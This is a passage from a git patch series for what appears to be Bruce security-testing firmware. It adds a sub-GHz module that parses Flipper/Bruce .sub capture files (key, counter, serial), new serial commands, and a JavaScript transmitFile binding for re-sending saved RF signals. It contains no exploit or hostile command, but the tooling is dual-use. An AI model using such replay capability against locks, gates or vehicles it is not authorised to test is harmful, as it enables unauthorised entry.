+#define __SUBGHZ_ADVANCED_MENU_H__
+
+void subghz_advanced_menu();
+
+#endif
diff --git a/src/modules/subghz_advanced/subghz_advanced_subfile_codec.cpp b/src/modules/subghz_advanced/subghz_advanced_subfile_codec.cpp
new file mode 100644
index 000000000..a430e11ef
--- /dev/null
+++ b/src/modules/subghz_advanced/subghz_advanced_subfile_codec.cpp
@@ -0,0 +1,162 @@
+#include "subghz_advanced_subfile_codec.h"
+
+#include "core/type_convertion.h"
+
+static String jsonEscape(const String& in) {
+    String out;
+    out.reserve(in.length() + 8);
+    for(size_t i = 0; i < in.length(); i++) {
+        const char c = in[i];
+        switch(c) {
+            case '\"': out += "\\\""; break;
+            case '\\': out += "\\\\"; break;
+            case '\b': out += "\\b"; break;
+            case '\f': out += "\\f"; break;
+            case '\n': out += "\\n"; break;
+            case '\r': out += "\\r"; break;
+            case '\t': out += "\\t"; break;
+            default:
+                if((uint8_t)c < 0x20) {
+                    char buf[7];
+                    snprintf(buf, sizeof(buf), "\\u%04X", (uint8_t)c);
+                    out += buf;
+                } else {
+                    out += c;
+                }
+                break;
+        }
+    }
+    return out;
+}
+
+static String normalizeHexLike(const String& in) {
+    String out = in;
+    out.trim();
+    out.replace(" ", "");
+    if(out.startsWith("0x") || out.startsWith("0X")) out = out.substring(2);
+    out.toUpperCase();
+    return out;
+}
+
+static bool splitLineKV(const String& line, String& key, String& value) {
+    int idx = line.indexOf(':');
+    if(idx <= 0) return false;
+    key = line.substring(0, idx);
+    value = line.substring(idx + 1);
+    key.trim();
+    value.trim();
+    return key.length() > 0;
+}
+
+static int countRawPulses(const String& rawJoined) {
+    if(rawJoined.length() == 0) return 0;
+    int pulses = 1;
+    for(size_t i = 0; i < rawJoined.length(); i++) {
+        if(rawJoined[i] == ' ') pulses++;
+    }
+    return pulses;
+}
+
+String SubGhzAdvancedFrame::toJson() const {
+    String out = "{";
+    out += "\"valid\":" + String(valid ? "true" : "false");
+    out += ",\"source\":\"" + jsonEscape(source) + "\"";
+    out += ",\"filetype\":\"" + jsonEscape(filetype) + "\"";
+    out += ",\"protocol_name\":\"" + jsonEscape(protocol_name) + "\"";
+    out += ",\"frequency_hz\":" + String(frequency_hz);
+    out += ",\"bit_count\":" + String(bit_count);
+    out += ",\"key_hex\":\"" + jsonEscape(key_hex) + "\"";
+    out += ",\"counter\":\"" + jsonEscape(counter) + "\"";
+    out += ",\"button\":\"" + jsonEscape(button) + "\"";
+    out += ",\"serial\":\"" + jsonEscape(serial) + "\"";
+    out += ",\"raw_summary\":\"" + jsonEscape(raw_summary) + "\"";
+    out += ",\"notes\":\"" + jsonEscape(notes) + "\"";
+    out += "}";
+    return out;
+}
+
+SubGhzAdvancedFrame SubGhzAdvancedSubFileCodec::parse(const String& text, const String& source) {
+    SubGhzAdvancedFrame frame;
+    frame.source = source;
+
+    String protocol = "";
+    String key = "";
+    String rawData = "";
+
+    int lineStart = 0;
+    while(lineStart <= (int)text.length()) {
+        int lineEnd = text.indexOf('\n', lineStart);
+        if(lineEnd < 0) lineEnd = text.length();
+        String line = text.substring(lineStart, lineEnd);
+        line.replace("\r", "");
+        line.trim();
+
+        String k;
+        String v;
+        if(splitLineKV(line, k, v)) {
+            if(k == "Filetype") frame.filetype = v;
+            else if(k == "Protocol") protocol = v;
+            else if(k == "Frequency") frame.frequency_hz = strtoul(v.c_str(), NULL, 10);
+            else if(k == "Bit") frame.bit_count = v.toInt();
+            else if(k == "Key") key = v;
+            else if(k == "TE") {
+                if(frame.notes.length()) frame.notes += "; ";
+                frame.notes += "TE=" + v;
+            } else if(k == "Counter") frame.counter = v;
+            else if(k == "Button") frame.button = v;
+            else if(k == "Serial") frame.serial = v;
+            else if(k == "RAW_Data" || k == "Data_RAW") {
+                if(rawData.length()) rawData += " ";
+                rawData += v;
+            } else if(k == "Preset") {
+                if(frame.notes.length()) frame.notes += "; ";
+                frame.notes += "Preset=" + v;
+            } else if(k == "Manufacturer") {
+                if(frame.notes.length()) frame.notes += "; ";
+                frame.notes += "Manufacturer=" + v;
+            }
+        }
+
+        if(lineEnd == (int)text.length()) break;
+        lineStart = lineEnd + 1;
+    }
+
+    frame.protocol_name = protocol.length() ? protocol : "Unknown";
+
+    key = normalizeHexLike(key);
+    if(key.length() == 0 && frame.protocol_name == "RcSwitch") {
+        // RCSwitch sometimes comes with parsed numeric key only in higher layers.
+        frame.key_hex = "";
+    } else {
+        frame.key_hex = key;
+    }
+
+    if(rawData.length()) {
+        int pulses = countRawPulses(rawData);
+        frame.raw_summary = String(pulses) + " pulses";
+        if(frame.key_hex.length() == 0 && frame.protocol_name == "Unknown") frame.protocol_name = "RAW";
+    }
+
+    // Normalize flipper key format (AA BB CC -> AABBCC)
+    frame.key_hex = normalizeHexLike(frame.key_hex);
+
+    frame.serial = normalizeHexLike(frame.serial);
+
+    frame.valid = frame.filetype.length() > 0 || protocol.length() > 0 || key.length() > 0 ||
+                  rawData.length() > 0;
+
+    // Extra compatibility cues
+    if(frame.filetype == "Bruce SubGhz File") {
+        if(frame.notes.length()) frame.notes += "; ";
+        frame.notes += "Format=Bruce";
+    } else if(frame.filetype.startsWith("Flipper SubGhz")) {
+        if(frame.notes.length()) frame.notes += "; ";
+        frame.notes += "Format=Flipper";
+    }
+
+    if(frame.protocol_name == "Unknown" && rawData.length()) {
+        frame.protocol_name = "RAW";
+    }
+
+    return frame;
+}
diff --git a/src/modules/subghz_advanced/subghz_advanced_subfile_codec.h b/src/modules/subghz_advanced/subghz_advanced_subfile_codec.h
new file mode 100644
index 000000000..529e88e30
--- /dev/null
+++ b/src/modules/subghz_advanced/subghz_advanced_subfile_codec.h
@@ -0,0 +1,11 @@
+#ifndef __SUBGHZ_ADVANCED_SUBFILE_CODEC_H__
+#define __SUBGHZ_ADVANCED_SUBFILE_CODEC_H__
+
+#include "subghz_advanced_types.h"
+
+class SubGhzAdvancedSubFileCodec {
+public:
+    static SubGhzAdvancedFrame parse(const String& text, const String& source = "");
+};
+
+#endif
diff --git a/src/modules/subghz_advanced/subghz_advanced_types.h b/src/modules/subghz_advanced/subghz_advanced_types.h
new file mode 100644
index 000000000..2b9b974e0
--- /dev/null
+++ b/src/modules/subghz_advanced/subghz_advanced_types.h
@@ -0,0 +1,23 @@
+#ifndef __SUBGHZ_ADVANCED_TYPES_H__
+#define __SUBGHZ_ADVANCED_TYPES_H__
+
+#include <Arduino.h>
+
+struct SubGhzAdvancedFrame {
+    String source = "";
+    String filetype = "";
+    String protocol_name = "Unknown";
+    uint32_t frequency_hz = 0;
+    int bit_count = 0;
+    String key_hex = "";
+    String counter = "";
+    String button = "";
+    String serial = "";
+    String raw_summary = "";
+    String notes = "";
+    bool valid = false;
+
+    String toJson() const;
+};
+
+#endif

From 2db0cbfd290384ce479b780daa910938043ea91a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?John=2E=20Sabb=C3=A1?= <victorsabba@gmail.com>
Date: Sat, 23 May 2026 09:34:25 -0300
Subject: [PATCH 61/73] =?UTF-8?q?=F0=9F=91=8C=20IMPROVE:=20Advanced=20Engi?=
 =?UTF-8?q?ne?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 lib/mquickjs_headers/mqjs_stdlib.build.sha256 |   2 +-
 .../subghz_advanced_commands.cpp              |  28 ++
 src/core/serial_commands/util_commands.cpp    |   9 +
 src/modules/bjs_interpreter/mqjs_stdlib.c     |   1 +
 src/modules/bjs_interpreter/mqjs_stdlib.h     | 283 +++++++++---------
 src/modules/bjs_interpreter/subghz_js.cpp     |  13 +
 src/modules/bjs_interpreter/subghz_js.h       |   1 +
 .../subghz_advanced_engine.cpp                |  28 ++
 .../subghz_advanced/subghz_advanced_engine.h  |   2 +
 .../subghz_advanced/subghz_advanced_menu.cpp  | 119 +++++++-
 10 files changed, 336 insertions(+), 150 deletions(-)

diff --git a/lib/mquickjs_headers/mqjs_stdlib.build.sha256 b/lib/mquickjs_headers/mqjs_stdlib.build.sha256
index 0c5d2b88b..226c5603d 100644
--- a/lib/mquickjs_headers/mqjs_stdlib.build.sha256
+++ b/lib/mquickjs_headers/mqjs_stdlib.build.sha256
@@ -1 +1 @@
-3154e8994f74c90837af90e71fd17057177f1d54aa4a028d97fd4143ad41f36a
\ No newline at end of file
+8afbe6501c9474085b2d07161faf2aca589b1699860ddd46c5a9655c255ad4c6
\ No newline at end of file
diff --git a/src/core/serial_commands/subghz_advanced_commands.cpp b/src/core/serial_commands/subghz_advanced_commands.cpp
index a10ea95d6..3a7f5218f 100644
--- a/src/core/serial_commands/subghz_advanced_commands.cpp
+++ b/src/core/serial_commands/subghz_advanced_commands.cpp
@@ -4,6 +4,17 @@
 
 #include <globals.h>
 
+static bool parseBoolArg(const Argument& arg, bool defaultValue) {
+    if(!arg.isSet()) return defaultValue;
+    String s = arg.getValue();
+    s.trim();
+    s.toLowerCase();
+    if(s.length() == 0) return defaultValue;
+    if(s == "1" || s == "true" || s == "yes" || s == "on") return true;
+    if(s == "0" || s == "false" || s == "no" || s == "off") return false;
+    return defaultValue;
+}
+
 static uint32_t subghzAdvRxCallback(cmd* c) {
     Command cmd(c);
 
@@ -43,6 +54,19 @@ static uint32_t subghzAdvRxCallback(cmd* c) {
     return true;
 }
 
+static uint32_t subghzAdvTxFileCallback(cmd* c) {
+    Command cmd(c);
+    Argument pathArg = cmd.getArgument("filepath");
+    Argument hideArg = cmd.getArgument("hideDefaultUI");
+
+    String path = pathArg.getValue();
+    path.trim();
+    if(path.length() == 0) return false;
+
+    bool hideDefaultUI = parseBoolArg(hideArg, true);
+    return SubGhzAdvancedEngine::instance().transmitPathAuto(path, hideDefaultUI);
+}
+
 static uint32_t subghzAdvAnalyzeFileCallback(cmd* c) {
     Command cmd(c);
     Argument pathArg = cmd.getArgument("filepath");
@@ -73,6 +97,10 @@ void createSubGhzAdvancedCommands(SimpleCLI* cli) {
     rx.addPosArg("frequency", String((uint32_t)(bruceConfigPins.rfFreq * 1000000.0f)).c_str());
     rx.addPosArg("timeout", "10");
 
+    Command txFile = root.addCommand("tx_file", subghzAdvTxFileCallback);
+    txFile.addPosArg("filepath");
+    txFile.addPosArg("hideDefaultUI", "true");
+
     Command analyze = root.addCommand("analyze_file", subghzAdvAnalyzeFileCallback);
     analyze.addPosArg("filepath");
 }
diff --git a/src/core/serial_commands/util_commands.cpp b/src/core/serial_commands/util_commands.cpp
index 2eb75b929..fc53f9b95 100644
--- a/src/core/serial_commands/util_commands.cpp
+++ b/src/core/serial_commands/util_commands.cpp
@@ -175,6 +175,15 @@ uint32_t helpCallback(cmd *c) {
         "  subghz tx_from_file <sub file path> [hide default UI true/false] - Send an RF signal "
         "saved in storage. Optionally hide the default UI."
     );
+    serialDevice->println(
+        "  subghz_adv rx [frequency] [timeout] - Advanced RX decode with protocol/key metadata (JSON)."
+    );
+    serialDevice->println(
+        "  subghz_adv analyze_file <sub file path> - Analyze a .sub capture offline (JSON)."
+    );
+    serialDevice->println(
+        "  subghz_adv tx_file <sub file path> [hide default UI true/false] - TX via advanced adapter."
+    );
 
     serialDevice->println("\nAudio Commands:");
     serialDevice->println("  music_player <audio file path>  - Play an audio file.");
diff --git a/src/modules/bjs_interpreter/mqjs_stdlib.c b/src/modules/bjs_interpreter/mqjs_stdlib.c
index c8d49b8d7..102a317c4 100644
--- a/src/modules/bjs_interpreter/mqjs_stdlib.c
+++ b/src/modules/bjs_interpreter/mqjs_stdlib.c
@@ -436,6 +436,7 @@ const JSClassDef js_subghz_obj = JS_OBJECT_DEF("SubGHz", js_subghz);
 const JSPropDef js_subghz_advanced[] = {
     JS_CFUNC_DEF("read", 1, native_subghzAdvancedRead),
     JS_CFUNC_DEF("analyzeFile", 1, native_subghzAdvancedAnalyzeFile),
+    JS_CFUNC_DEF("transmitFile", 2, native_subghzAdvancedTransmitFile),
     JS_PROP_END,
 };
 
diff --git a/src/modules/bjs_interpreter/mqjs_stdlib.h b/src/modules/bjs_interpreter/mqjs_stdlib.h
index b794ce584..d0c3025a7 100644
--- a/src/modules/bjs_interpreter/mqjs_stdlib.h
+++ b/src/modules/bjs_interpreter/mqjs_stdlib.h
@@ -4211,24 +4211,28 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_NULL,
 
   /* properties (offset=3940) */
-  JS_VALUE_ARRAY_HEADER(9),
-  2 << 1, /* n_props */
-  0 << 1, /* hash_mask */
-  6 << 1,
+  JS_VALUE_ARRAY_HEADER(13),
+  3 << 1, /* n_props */
+  1 << 1, /* hash_mask */
+  10 << 1,
+  7 << 1,
   JS_ROM_VALUE(1227) /* read */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 293),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1432) /* analyzeFile */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 294),
-  (3 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3950) */
+  (0 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1239) /* transmitFile */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 295),
+  (4 << 1) | (JS_PROP_NORMAL << 30),
+  /* class (offset=3954) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
   JS_ROM_VALUE(3940),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3955) */
+  /* properties (offset=3959) */
   JS_VALUE_ARRAY_HEADER(30),
   8 << 1, /* n_props */
   3 << 1, /* hash_mask */
@@ -4237,59 +4241,59 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   24 << 1,
   0 << 1,
   JS_ROM_VALUE(1439) /* connected */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 295),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 296),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1443) /* connectDialog */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 296),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 297),
   (6 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1448) /* connect */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 297),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 298),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1221) /* scan */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 298),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 299),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1451) /* disconnect */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 299),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 300),
   (9 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1455) /* httpFetch */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 300),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 301),
   (18 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1459) /* getMACAddress */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 301),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 302),
   (21 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1464) /* getIPAddress */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 302),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 303),
   (12 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=3986) */
+  /* class (offset=3990) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3955),
+  JS_ROM_VALUE(3959),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=3991) */
+  /* properties (offset=3995) */
   JS_VALUE_ARRAY_HEADER(13),
   3 << 1, /* n_props */
   1 << 1, /* hash_mask */
   10 << 1,
   0 << 1,
   JS_ROM_VALUE(1221) /* scan */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 303),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 304),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1471) /* advertise */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 304),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 305),
   (4 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1475) /* stopAdvertise */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 305),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 306),
   (7 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=4005) */
+  /* class (offset=4009) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3991),
+  JS_ROM_VALUE(3995),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=4010) */
+  /* properties (offset=4014) */
   JS_VALUE_ARRAY_HEADER(21),
   5 << 1, /* n_props */
   3 << 1, /* hash_mask */
@@ -4298,53 +4302,53 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   9 << 1,
   12 << 1,
   JS_ROM_VALUE(1218) /* begin */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 306),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 307),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1483) /* send */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 307),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 308),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1486) /* receive */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 308),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 309),
   (6 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1489) /* setChannel */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 309),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 310),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1493) /* isConnected */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 310),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 311),
   (15 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=4032) */
+  /* class (offset=4036) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4010),
+  JS_ROM_VALUE(4014),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=4037) */
+  /* properties (offset=4041) */
   JS_VALUE_ARRAY_HEADER(16),
   4 << 1, /* n_props */
   1 << 1, /* hash_mask */
   13 << 1,
   7 << 1,
   JS_ROM_VALUE(1499) /* setColor */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 311),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 312),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1086) /* setBrightness */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 312),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 313),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1503) /* off */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 313),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 314),
   (4 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1297) /* blink */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 314),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 315),
   (10 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=4054) */
+  /* class (offset=4058) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4037),
+  JS_ROM_VALUE(4041),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=4059) */
+  /* properties (offset=4063) */
   JS_VALUE_ARRAY_HEADER(24),
   6 << 1, /* n_props */
   3 << 1, /* hash_mask */
@@ -4353,31 +4357,31 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   18 << 1,
   0 << 1,
   JS_ROM_VALUE(1508) /* show */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 315),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 316),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1511) /* showMainBorder */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 316),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 317),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1516) /* showMainBorderWithTitle */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 317),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 318),
   (6 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1523) /* printTitle */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 318),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 319),
   (9 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1527) /* printSubtitle */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 319),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 320),
   (15 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1532) /* displayMessage */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 320),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 321),
   (12 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=4084) */
+  /* class (offset=4088) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4059),
+  JS_ROM_VALUE(4063),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=4089) */
+  /* properties (offset=4093) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -4385,7 +4389,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_TIMERS_STATE << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=4096) */
+  /* properties (offset=4100) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -4393,14 +4397,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_TIMERS_STATE - 1) << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=4103) */
+  /* class (offset=4107) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4089),
-  321,
-  JS_ROM_VALUE(4096),
+  JS_ROM_VALUE(4093),
+  322,
+  JS_ROM_VALUE(4100),
   JS_NULL,
 
-  /* properties (offset=4108) */
+  /* properties (offset=4112) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -4408,7 +4412,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_SPRITE << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=4115) */
+  /* properties (offset=4119) */
   JS_VALUE_ARRAY_HEADER(111),
   31 << 1, /* n_props */
   15 << 1, /* hash_mask */
@@ -4513,22 +4517,22 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 203),
   (87 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1544) /* pushSprite */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 323),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 324),
   (84 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1548) /* deleteSprite */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 324),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 325),
   (51 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_SPRITE - 1) << 1,
   (48 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=4227) */
+  /* class (offset=4231) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4108),
-  322,
-  JS_ROM_VALUE(4115),
+  JS_ROM_VALUE(4112),
+  323,
+  JS_ROM_VALUE(4119),
   JS_NULL,
 
-  /* properties (offset=4232) */
+  /* properties (offset=4236) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -4536,7 +4540,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_TEXTVIEWER << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=4239) */
+  /* properties (offset=4243) */
   JS_VALUE_ARRAY_HEADER(43),
   11 << 1, /* n_props */
   7 << 1, /* hash_mask */
@@ -4549,46 +4553,46 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   40 << 1,
   0 << 1,
   JS_ROM_VALUE(1557) /* draw */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 326),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 327),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1560) /* scrollUp */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 327),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 328),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1564) /* scrollDown */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 328),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 329),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1568) /* scrollToLine */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 329),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 330),
   (13 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1573) /* getLine */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 330),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 331),
   (10 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1576) /* getMaxLines */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 331),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 332),
   (19 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1580) /* getVisibleText */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 332),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 333),
   (16 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1320) /* clear */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 333),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 334),
   (25 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1585) /* setText */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 334),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 335),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1588) /* close */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 335),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 336),
   (28 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_TEXTVIEWER - 1) << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=4283) */
+  /* class (offset=4287) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4232),
